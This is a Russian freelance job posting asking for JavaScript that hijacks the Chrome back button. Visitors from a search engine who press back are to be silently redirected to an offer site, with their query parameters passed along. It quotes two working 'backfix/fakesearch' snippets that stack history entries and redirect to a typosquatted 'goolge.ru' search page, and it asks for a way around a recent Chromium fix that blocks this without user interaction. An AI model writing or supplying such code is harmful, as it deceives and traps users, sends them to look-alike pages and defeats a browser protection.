Найдите исполнителя для вашего проекта прямо сейчас!
Разместите заказ на фриланс-бирже и предложения поступят уже через несколько минут.

Написать (найти готовый) код JS блокирующий нажатие кнопки "назад" в браузере Google Chrome последней версии! так, чтобы при попытке уйти на предыдущую страницу юзера можно было сразу и без каких-либо действий с его стороны автоматически перекидывать на определенный URL с передачей всех GET параметров.

Пример:

  • с Яндекса юзер переходит на наш сайт.ру/?get=param123
  • сайт не понравился и сразу нажимает в телефоне или ПК в браузере Google Chrome кнопку "назад" (при этом юзер не кликал и не делал никаких действий на странице).
  • перекидывается не назад на Яндекс, а на заданный URL, например offer.ru, с передачей GET вот так: offer.ru/?get=param123
Раньше это прекрасно работало как-то так через history.pushState:

// fakesearch & backfix

var strGET = window.location.search.replace( '?', '');

link = 'https://www.goolge.ru/search/?'+strGET;

if (window['opener'] != null) {

window['opener']['location'] = link;

}

else {

var strGET = window.location.search.replace( '?', '');

link = 'https://www.goolge.ru/search/?'+strGET;

    

var t;

try {

for (t = 0; 10 > t; ++t)

history.pushState({}, "", "#");

onpopstate = function (t) {

t.state && location.replace(link)

}

}

catch (o) {}

}

или:

document.addEventListener('DOMContentLoaded', function(){

setTimeout(function() {

var strGET = window.location.search.replace( '?', '');

var link = 'https://www.goolge.ru/?'+strGET+'&d_ref='+location.hostname;

(function() {

window.onpopstate=function(o){

window.location=link;

};

window.history.pushState({},"", "");

})();

}, 10);

});

P.S. Летом вышли пофиксенные хромиумы и старые backfix коды не работают без клика в области сайта - нужно придумать решение. Сделать всплывающие окна побуждающие пользователя кликнуть самому - не предлагать. Нужно без участия пользователя, на JS.

5 лет назад
goldeagle
39 летРоссия
12 лет в сервисе
Был
3 месяца назад